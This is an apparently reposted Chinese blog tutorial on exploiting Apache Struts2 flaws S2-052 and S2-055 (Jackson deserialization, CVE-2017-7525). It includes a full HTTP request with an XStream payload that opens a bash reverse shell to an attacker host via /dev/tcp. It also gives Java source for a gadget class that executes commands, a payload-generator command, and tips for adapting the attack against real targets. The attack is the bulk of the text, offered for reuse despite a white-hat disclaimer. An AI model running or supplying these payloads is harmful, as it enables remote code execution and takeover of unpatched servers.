Structs 全版本漏洞利用总结

栏目: 服务器 · 发布时间: 6年前

内容简介:Structs2框架目前已知的漏洞编号如下:使用搭建的环境,点击任意一个edit并submit一次,截包报文,修改

前言

Structs2框架目前已知的漏洞编号如下:

  • S2-005

  • S2-009

  • S2-016 (含S2-013)

  • S2-019

  • S2-020

  • S2-021

  • S2-032

  • S2-037(含S2-033)

  • DevMode

  • S2-045

  • S2-046

  • S2-048

  • S2-052

  • S2-055

  • S2-057

    目前公开的工具,唯独缺失052和055的利用。S2-055比较特殊,严格来说055本身无问题,问题出在其使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。也就是说S2-055本质上是Jackson反序列化,其CVE编号为CVE-2017-7525。本文将对缺失的S2-055以及S2-052做漏洞复现,至于其他版本的利用可参见下图的工具。

  • Structs 全版本漏洞利用总结

    检测工具

S2-052

使用搭建的环境,点击任意一个edit并submit一次,截包报文,修改 Content-Typeapplication/xml

Structs 全版本漏洞利用总结

Edit

Structs 全版本漏洞利用总结

Submit

Structs 全版本漏洞利用总结

application/xml

完整的数据包payload如下


 

POST /st2-052/orders/5 HTTP/1.1

Host: 192.168.50.129:8080

Content-Length: 1720

Cache-Control: max-age=0

Origin: http://192.168.50.129:8080

Upgrade-Insecure-Requests: 1

Content-Type: application/xml

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://192.168.50.129:8080/st2-052/orders/5/edit

Accept-Encoding: gzip, deflate

Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6

Cookie: JSESSIONID=1109456161E6ECD09D5B4A28122050D7; ADMINCONSOLESESSION=2hUOycdoVZXd7JWNrE9MQ5-QczsMItp1AJpSHSyKvb6U95SBCn8o!853562462; JSESSIONID=D1gPM88rMDIA-n-pCtKwlFFiNS6ewwWI5-qkkJ5NcDRbOIIZGq86!-1979873897

Connection: close


<map>

<entry>

<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/bin/bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/vpsip/port 0>&1</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

我这里给出的是反弹 shell 的payload,你可以修改为自己想要执行的命令。

Structs 全版本漏洞利用总结

反弹shell

S2-055 && CVE-2017-7525

影响情况

受影响的版本

Jackson Version 2.7.* < 2.7.10

Jackson Version 2.8.* < 2.8.9

不受影响的版本

Jackson Version 2.7.10

Jackson Version 2.8.9

漏洞环境搭建

去iBearcat的gayhub下载漏洞war包

war包直链:https://raw.githubusercontent.com/iBearcat/S2-055/master/struts2-rest-showcase.war

为了方便将其改名为 st2-055.war ,放到tomcat的webapps下,它会自动解压

Structs 全版本漏洞利用总结

st2-055.war

我们访问http://ip:8080/st2-055/即可

Structs 全版本漏洞利用总结

访问

EXP准备

我们使用以下代码生成payload需要的class


 

ExploitCommand.javapackage exploit;


import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStreamReader;


public class ExploitCommand extends AbstractTranslet {

public ExploitCommand() throws Exception {

try {

BufferedReader br = null;

Process p = Runtime.getRuntime().exec("notepad");

br = new BufferedReader(new InputStreamReader(p.getInputStream()));

String line = null;

StringBuilder sb = new StringBuilder();


while((line = br.readLine()) != null) {

sb.append(line + "\n");

System.out.println(sb.toString());

}


System.out.println("\n[*] Payload it's ok!!!!");

} catch (IOException var5) {

var5.printStackTrace();

}


}


public static void main(String[] args) throws Exception {

new ExploitCommand();

}


public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}


public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

这里又调用了JavaRuntime的exec了,所以如果你需要执行复杂命令,你需要使用JavaRuntime转义

运行上面的代码,你的编译环境如果匹配你想要执行的命令,编译机器同样也会执行相应的命令。举个例子,你的编译环境是win,但你编译的命令是 nautilus ,你编译时控制台会发生报错,找不到这个program。没关系,我们需要编译以后的class就行了,不需要真的在编译环境执行命令。

Structs 全版本漏洞利用总结

编译以后的class

接下来,我们需要准备生成payload的项目

iBearcat已经准备好了生成需要用的jar,但是兼容性有问题,它并不能用在Unix上,也就是macOS和 Linux 被拒之门外。

Structs 全版本漏洞利用总结

兼容性问题

我尝试对该jar包反编译,发现了问题所在。

Structs 全版本漏洞利用总结

问题所在

Structs 全版本漏洞利用总结

问题所在

没错,问题出在那个斜杠上面,我们只需要\改为//即可。

Structs 全版本漏洞利用总结

macOS

Structs 全版本漏洞利用总结

Win10

经过我反编译以后,重新打包,可以正常使用并且兼容两个版本。

payload生成的命令为: java -jar JacksonExp.jar ExploitCommand.class clientName

坑点

1.tomcat的用户

首先,如果你需要做一些弹出类的命令操作,一定要记得选择压缩包版本的tomcat,因为压缩包版的用户是你的系统用户。假如你在root下运行tomcat,此时你tomcat的用户也是root。但如果你使用的是yum或者apt安装的tomcat,它的用户将是tomcat,所以你不能执行一些弹出类的命令,例如 nautilus

2.ExploitCommand.class的编译

ExploitCommand.class是直接决定你能否exploit成功的关键。ExploitCommand.class编译时的jdk版本一定要和靶机的jdk版本一致,也就是说要成功利用反序列化,jdk必须为<=1.7.不论是编译jdk还是靶机jdk都需要为<=1.7.具体原因是jdk1.7到jdk1.8, com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类有了变化,才导致反序列化利用失败的。

弹个文件管理器

解决了坑点问题,我们就可以愉快的弹出文件管理器了。

首先,我们点击Create a new order

Structs 全版本漏洞利用总结

Create a new order

然后点击Submit使用Burpsuite拦截报文

Structs 全版本漏洞利用总结

Submit

我们修改Content-Type的值为application/json,且将JacksonExp.jar生成的payload粘贴到下方即可

Structs 全版本漏洞利用总结

Content-Type

然后点击 go 即可弹出文件管理器

Structs 全版本漏洞利用总结

弹出文件管理器

我们的控制台会有相应的提示

Structs 全版本漏洞利用总结

控制台

检测方法

Structs 全版本漏洞利用总结

Freddy 2.0

目前Jackson类的漏洞,最好的检测方式就是使用BurpSuite安装Freddy 2.0这个插件,它会自动基于流量进行识别。

利用难点

S2-055这个漏洞,利用极为苛刻,因为jdk限制版本且需要有一个参数满足是对象类的条件。因为漏洞环境给出的参数为clientName,所以为什么生成payload命令的参数填写的是clientName。在实战时,要根据实际的参数进行调整。也许这就是为什么055缺失在一键化 工具 中的原因吧。

参考

https://github.com/iBearcat/S2-055

__________________________________________________________

声明:本文章来自清水川崎投稿, 仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

我们建立了 一个以知识共享为主的 免费 知识星球,旨在通过相互交流,促进资源分享和信息安全建设,为以此为生的工作者、即将步入此行业的学生等提供各自之力。为保持知识星球长久发展,所有成员需遵守本星球免费规则,鼓励打赏;同时保持每月分享至少一次资源(安全类型资源不限,但不能存在一切违法违规及损害他人利益行为),避免“伸手党”,即使新人我们也鼓励通过分享心得和笔记取得进步,“僵尸粉”将每月定期清理。

Structs 全版本漏洞利用总结

想加入我们的微信群,目前聚集了来自全球信息安全公司的 CEO,安全部门主管,技术总监,信安创业者,网络安全专家,安全实验室负责人,公司HR ,在这里你将获得高质量的技术交流空间,更多的内推高薪信息安全岗位, 更多与安全大咖们面对面交流的机会。 可以扫码添加我的微信,需提供真实有效的公司名称+姓名,验证通过后可加入···

Structs 全版本漏洞利用总结

Structs 全版本漏洞利用总结


以上所述就是小编给大家介绍的《Structs 全版本漏洞利用总结》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Domain-Driven Design Distilled

Domain-Driven Design Distilled

Vaughn Vernon / Addison-Wesley Professional / 2016-6-2 / USD 36.99

Domain-Driven Design (DDD) software modeling delivers powerful results in practice, not just in theory, which is why developers worldwide are rapidly moving to adopt it. Now, for the first time, there......一起来看看 《Domain-Driven Design Distilled》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具